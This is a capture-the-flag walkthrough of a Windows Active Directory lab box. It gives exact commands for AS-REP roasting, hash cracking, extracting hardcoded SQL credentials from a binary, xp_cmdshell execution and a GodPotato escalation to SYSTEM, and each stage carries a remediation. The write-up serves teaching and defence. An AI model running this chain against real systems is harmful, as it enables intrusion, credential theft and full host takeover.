J. Perez Duertojperezduerto.info
← all walkthroughs

PivotAPI

Windows· Insane
owned
2026-07-14
time to own
39m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target PivotAPI ($TARGET) runs a Windows Active Directory environment (LicorDeBellota.htb) and was fully compromised through a five-stage chain. Anonymous FTP access exposed academic PDFs whose embedded document metadata disclosed internal domain usernames.

One account (Kaorz) had Kerberos pre-authentication disabled, yielding a crackable AS-REP hash that provided the first authenticated foothold. With those credentials the NETLOGON share was accessed, revealing a compiled help-desk executable that — after reverse engineering — yielded hardcoded SQL Server SA credentials left over from a service migration.

Those credentials gave direct MSSQL access with xp_cmdshell enabled, providing OS command execution as the MSSQL service account. That account held SeImpersonatePrivilege; GodPotato exploited this to impersonate NT AUTHORITY\SYSTEM, completing full control of the host and domain.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered, for Kaorz>"

Attack path — how the box was taken

1EnumerationAnonymous FTP access and document metadata username leakage (T1213)
Harvested domain usernames via anonymous FTP and PDF document metadata
Anonymous FTP on port 21 permitted unauthenticated download of the entire share, including a README and several academic PDF files. Metadata embedded in those PDFs (Author and Creator fields) disclosed Active Directory account names — alex, Kaorz, and byron.gronseth — for the LicorDeBellota.htb domain. No credentials were required; the server accepted anonymous logins and the documents had never had their metadata stripped before being placed on the share.
Wget recursive FTP pull succeeded anonymously; exiftool on retrieved PDFs disclosed 'Kaorz', 'alex', and 'byron.gronseth' in Author/Creator fields.
Exact commands 4
shell

Map the domain name to the target IP for later Kerberos/LDAP use.

$ echo "$TARGET LicorDeBellota.htb" | sudo tee -a /etc/hosts
shell

Recursively download all anonymous FTP share contents.

$ wget -r -np -nH --user=anonymous --password=anonymous ftp://$TARGET/
shell

Extract embedded document metadata from every downloaded PDF to surface AD account names.

$ exiftool *.pdf | grep -iE 'Author|Creator'
shell

Build a wordlist from the harvested usernames for AS-REP roasting.

$ printf 'alex\nKaorz\nbyron.gronseth\n' > users.txt
FixDisable anonymous FTP and strip document metadata before publishing filesMedium
WeaknessThe FTP server accepted unauthenticated connections and the hosted PDF files contained embedded Author and Creator metadata fields that disclosed Active Directory account names. Those names were the direct input for the AS-REP roasting attack that produced the initial foothold — an unauthorised user needed no existing knowledge of the environment to begin.
FixDisable anonymous FTP authentication entirely and require named credentials for all file transfers. Before publishing any document to any shared location, sanitize its metadata: run 'exiftool -all= *.pdf' or use Microsoft Office Document Inspector to remove Author, Creator, Company, and similar fields. Replace FTP with an authenticated and encrypted transfer mechanism (SFTP or an HTTPS file portal) so that even if a file is accidentally published, unauthenticated download is not possible.
2Credential AccessAS-REP Roasting (T1558.004)
AS-REP roasted Kaorz and cracked the offline Kerberos hash to the password
The harvested usernames were submitted to the domain controller via AS-REP roasting. The account Kaorz had the 'Do not require Kerberos preauthentication' flag set, so the KDC returned an AS-REP ticket encrypted with Kaorz's password hash without requiring any credentials. Offline dictionary cracking against rockyou.txt recovered the cleartext password, giving the first authenticated domain foothold validated over SMB.
Impacket-GetNPUsers returned a krb5asrep$23 hash for Kaorz; hashcat -m 18200 against rockyou.txt cracked it to the password.
Exact commands 3
shell

Request AS-REP tickets for all harvested usernames; only accounts with pre-auth disabled return a crackable hash.

$ impacket-GetNPUsers 'LicorDeBellota.htb/' -usersfile users.txt -no-pass -dc-ip $TARGET -request -format hashcat -outputfile ftp_meta.asrep
shell

Crack the krb5asrep$23 hash offline. Run --show after completion to read the cleartext.

$ hashcat -m 18200 ftp_meta.asrep /usr/share/wordlists/rockyou.txt --force
shell

Confirm the recovered credential authenticates over SMB.

$ nxc smb $TARGET -d LicorDeBellota.htb -u Kaorz -p "$PASSWORD3"
FixEnforce Kerberos pre-authentication on all domain accountsHigh
WeaknessThe domain account Kaorz had the 'Do not require Kerberos preauthentication' flag set (UF_DONT_REQUIRE_PREAUTH). This let an unauthorised user request an AS-REP ticket and receive data encrypted with that account's password hash — which can be cracked offline with no lockout risk and no further interaction with the target domain.
FixRequire Kerberos pre-authentication on every account. Identify all affected accounts: 'Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth'. Re-enable pre-authentication on each: 'Set-ADAccountControl -Identity <user> -DoesNotRequirePreAuth $false'. Rotate the password for Kaorz immediately. Create an alert in your SIEM or a scheduled AD audit that fires whenever any account is configured with this flag in the future.
3DiscoverySMB NETLOGON/SYSVOL share enumeration (T1135)
Retrieved a compiled service-restart executable and help-desk tickets from the NETLOGON share
Authenticated as Kaorz, the NETLOGON SYSVOL share was fully readable. A HelpDesk folder contained two Outlook .msg ticket files authored by cybervaca@licordebellota.htb documenting a migration from Oracle to MSSQL, and a Windows PE binary named Restart-OracleService.exe. String analysis of the binary revealed Bat-To-Exe Converter markers (embedded 'b2eincfilepath' and 'fichero.bat' references), indicating it was a compiled wrapper encoding a batch script — a strong signal that credentials might be embedded inside.
Smbclient with Kaorz's password enumerated NETLOGON; HelpDesk/ contained Restart-OracleService.exe and two .msg files describing an Oracle-to-MSSQL service migration by cybervaca.
Exact commands 2
shell

Recursively download all NETLOGON share contents.

$ smbclient //$TARGET/NETLOGON -U "LicorDeBellota.htb/Kaorz%$PASSWORD3" -c 'recurse ON; prompt OFF; mget *'
shell

Identify Bat-To-Exe Converter markers to determine the packer scheme and key material.

$ strings Restart-OracleService.exe | grep -iE 'b2e|fichero|bat'
FixRemove executables, scripts, and credential-bearing artifacts from SYSVOL and NETLOGON sharesHigh
WeaknessThe NETLOGON share — readable by every authenticated domain user — contained a compiled Windows executable encoding a service credential, alongside help-desk ticket files that documented exactly what the binary was for. Together these gave an unauthorised user the binary and the context needed to reverse it productively.
FixAudit all files in SYSVOL and NETLOGON immediately and remove anything that is not a Group Policy template or logon script strictly required for domain operation. Remove Restart-OracleService.exe and all .msg ticket files. Store operational tooling and documentation in access-controlled file shares with least-privilege ACLs, not in the domain-wide NETLOGON share. Rotate every credential that was reachable through those paths. Schedule a monthly scan of SYSVOL/NETLOGON for non-GPO content.
4Credential AccessCredential recovery via reverse engineering of a Bat-To-Exe compiled binary (T1552.001)
Reverse-engineered the Bat-To-Exe wrapper to recover hardcoded MSSQL SA credentials
Restart-OracleService.exe carried an RCDATA resource containing the original batch script RC4-encrypted with a key derived from MD5('fichero.bat'). After decrypting, the batch script conditionally gated execution on the environment variable %username% equalling 'cybervaca', then reconstructed a second-stage PE (restart-service.exe) to disk via chunked base64 echo statements. Static analysis of that binary with strings and objdump recovered the hardcoded SQL Server SA password — a credential left over from the Oracle-to-MSSQL migration.
RC4-decrypted RCDATA yielded the batch script gated on cybervaca; base64-decoded stage-2 PE contained the SA credential as a recoverable plaintext string.
Exact commands 4
shell

Extract the RCDATA resource (type 10) and RC4-decrypt it with the MD5 of 'fichero.bat' as the key. Requires pefile and pycryptodome.

$ python3 -c "import hashlib, pefile; from Crypto.Cipher import ARC4; pe = pefile.PE('Restart-OracleService.exe'); key = hashlib.md5(b'fichero.bat').digest(); [open('decoded.bat','wb').write(ARC4.new(key).decrypt(pe.get_data(l.data.struct.OffsetToData, l.data.struct.Size))) for r in pe.DIRECTORY_ENTRY_RESOURCE.entries for s in r.directory.entries for l in s.directory.entries if r.id == 10]"
shell

Concatenate and base64-decode chunked echo lines from the batch script to rebuild the stage-2 PE.

$ awk '/^echo [A-Za-z0-9+/=]+/{printf "%s",$2}' decoded.bat | base64 -d > restart-service.exe
shell

Extract readable strings from the stage-2 binary to locate the embedded SA credential.

$ strings restart-service.exe | grep -iE '#|mssql|s3rV|pass'
shell

Disassemble if strings output is ambiguous and confirm how the credential is used at runtime.

$ objdump -d -M intel restart-service.exe | head -300
FixEliminate hardcoded credentials from all executables, scripts, and compiled artifactsCritical
WeaknessThe stage-2 PE extracted from the NETLOGON wrapper stored the MSSQL SA account password as a recoverable plaintext string. Any person who obtained a copy of the file could extract the credential with a basic 'strings' command — no reverse-engineering expertise was needed.
FixImmediately rotate the SA password and audit all other scripts and binaries for embedded credentials. Remove every hardcoded password from code and compiled artifacts. Use Windows Credential Manager, DPAPI-protected storage, or a secrets vault (HashiCorp Vault, Azure Key Vault) and inject credentials at runtime via the service identity rather than baking them in. Enforce a secrets-scanning gate in your CI pipeline or as a pre-commit hook (truffleHog, git-secrets) to catch credential strings before they reach shared storage.
5ExploitationMSSQL SA login and xp_cmdshell OS command execution (T1505.001)
Authenticated to MSSQL as SA and gained OS command execution via xp_cmdshell
The recovered SA credential authenticated directly to the MSSQL 2019 instance on port 1433. The SA account is a built-in sysadmin with unrestricted server permissions, so xp_cmdshell was available (or easily re-enabled via sp_configure) to run arbitrary OS commands in the MSSQL service account's Windows security context. This gave interactive command execution on the host without needing any additional vulnerability.
SQL queries via impacket-mssqlclient as sa confirmed sysadmin role membership and xp_cmdshell availability; successful OS command execution through this channel.
Exact commands 3
shell

Connect to MSSQL as the SA account.

$ impacket-mssqlclient "sa:$PASSWORD2@$TARGET"
shell

Enable xp_cmdshell if needed and confirm which Windows account the MSSQL service runs as.

$ printf '%s\n' "EXEC sp_configure 'show advanced options',1; RECONFIGURE;" "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;" "xp_cmdshell whoami" exit | impacket-mssqlclient "sa:$PASSWORD2@$TARGET"
shell

Confirm SeImpersonatePrivilege is listed as Enabled on the service account.

$ printf '%s\n' 'xp_cmdshell whoami /priv' exit | impacket-mssqlclient "sa:$PASSWORD2@$TARGET"
FixDisable the SA account and xp_cmdshell, and restrict SQL Server network exposureCritical
WeaknessThe built-in SA account was active and reachable over TCP 1433 with a recoverable password. Because SA is a fixed sysadmin, xp_cmdshell was available to enable and execute OS commands the moment valid credentials were obtained — with no additional vulnerability required, granting a direct pivot from database access to Windows shell access.
FixDisable the SA account ('ALTER LOGIN sa DISABLE') and replace it with named service accounts holding only the SQL roles they operationally need. Disable xp_cmdshell via sp_configure ('EXEC sp_configure ''xp_cmdshell'', 0; RECONFIGURE') and restrict the 'show advanced options' permission to prevent unauthorized re-enablement. Use the Windows Firewall to restrict inbound TCP 1433 to only the application servers that genuinely need SQL access. Enable SQL Server Audit to log all login attempts and sp_configure changes, and alert on any SA authentication attempt.
6Privilege EscalationSeImpersonatePrivilege token impersonation via GodPotato (T1134.001)
Exploited SeImpersonatePrivilege via GodPotato to reach NT AUTHORITY\SYSTEM
The MSSQL service account held SeImpersonatePrivilege, a Windows right that allows a service to impersonate any user who connects to it. GodPotato (.NET 4) abuses this by triggering a SYSTEM-level COM server authentication, capturing the resulting SYSTEM token, and spawning an elevated process under that identity. The tool was transferred to the target by base64-encoding it on my machine, piping the encoded data through xp_cmdshell echo statements in 7000-byte chunks, and decoding it on the target with certutil before execution.
GodPotato-NET4.exe uploaded via base64-chunked echo through xp_cmdshell, decoded with certutil, and executed; both user.txt (on 3v4Si0N's desktop) and root.txt (on cybervaca's desktop) read as NT AUTHORITY\SYSTEM.
Exact commands 5
shell

Download GodPotato for .NET 4 to my machine.

$ wget -q https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe -O /tmp/GodPotato-NET4.exe
shell

Generate xp_cmdshell echo commands to transfer GodPotato as chunked base64 — each line writes one 7000-char block to C:\Windows\Temp\gp.b64 on the target.

$ base64 -w0 /tmp/GodPotato-NET4.exe | fold -w 7000 | awk 'NR==1{op=">"} NR>1{op=">>"} {print "xp_cmdshell echo "$0 op "C:\\Windows\\Temp\\gp.b64"}' > /tmp/gp_upload.sql
shell

Execute all upload commands through the SA MSSQL session to write the base64 file to the target.

$ cat /tmp/gp_upload.sql | impacket-mssqlclient "sa:$PASSWORD2@$TARGET"
shell

Decode the base64 blob on the target to reconstruct the GodPotato executable.

$ printf '%s\n' 'xp_cmdshell certutil -decode C:\Windows\Temp\gp.b64 C:\Windows\Temp\GodPotato-NET4.exe' exit | impacket-mssqlclient "sa:$PASSWORD2@$TARGET"
shell

Confirm execution context is NT AUTHORITY\SYSTEM.

$ printf '%s\n' 'xp_cmdshell C:\Windows\Temp\GodPotato-NET4.exe -cmd "cmd /c whoami"' exit | impacket-mssqlclient "sa:$PASSWORD2@$TARGET"
NT AUTHORITY\SYSTEM
FixRemove SeImpersonatePrivilege from service accounts that do not require itCritical
WeaknessThe MSSQL service account held SeImpersonatePrivilege, a Windows right intended for services that must impersonate connecting clients. Combined with OS command execution through xp_cmdshell, this allowed GodPotato to coerce a SYSTEM-level COM authentication, capture the resulting token, and spawn a process as NT AUTHORITY\SYSTEM — escalating from a service account to full local administrator in a single step.
FixAssign MSSQL to a Group Managed Service Account (gMSA), which carries only the permissions Windows grants to managed service identities and cannot be used interactively. Review Local Security Policy → User Rights Assignment → 'Impersonate a client after authentication' and remove SeImpersonatePrivilege from every account that does not have an operational requirement for it. Monitor Windows Security event log IDs 4624 and 4672 for anomalous SYSTEM-level impersonation events, and consider application control policies (Windows Defender Application Control) to block potato-class tooling from executing on servers.
7ImpactPrivileged file read as SYSTEM (T1005)
Read user and root flags as NT AUTHORITY\SYSTEM
With SYSTEM-level execution confirmed through GodPotato, both flag files were read directly through the same xp_cmdshell pipeline without any further lateral movement. The user flag resided on the desktop of domain user 3v4Si0N; the root flag on the desktop of cybervaca, the administrative account. Full control of the host and domain was established.
GodPotato -cmd 'cmd /c type' on each flag path returned flag content through the SA xp_cmdshell session.
Exact commands 2
shell

Read the user flag; expected output: <user.txt>.

$ printf '%s\n' 'xp_cmdshell C:\Windows\Temp\GodPotato-NET4.exe -cmd "cmd /c type C:\Users\3v4Si0N\Desktop\user.txt"' exit | impacket-mssqlclient "sa:$PASSWORD2@$TARGET"
shell

Read the root flag; expected output: <root.txt>.

$ printf '%s\n' 'xp_cmdshell C:\Windows\Temp\GodPotato-NET4.exe -cmd "cmd /c type C:\Users\cybervaca\Desktop\root.txt"' exit | impacket-mssqlclient "sa:$PASSWORD2@$TARGET"

Attack patterns used

The transferable techniques behind this compromise.

AS-REP RoastingActive Directory · KerberosT1558.004

What it is

Accounts with 'Do not require Kerberos pre-authentication' set will return an AS-REP whose encrypted portion is derived from the user's password — to anyone who asks, without credentials. Tools like GetNPUsers.py collect these AS-REP blobs and they are cracked offline with hashcat (mode 18200) to recover the plaintext password.

Why it works

Pre-authentication exists precisely to stop this offline-crackable material from being handed out; disabling it (often for legacy app compatibility) reopens the hole. Detect by auditing the DONT_REQ_PREAUTH UAC flag; remediate by removing it and enforcing strong passwords.

Read more

SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.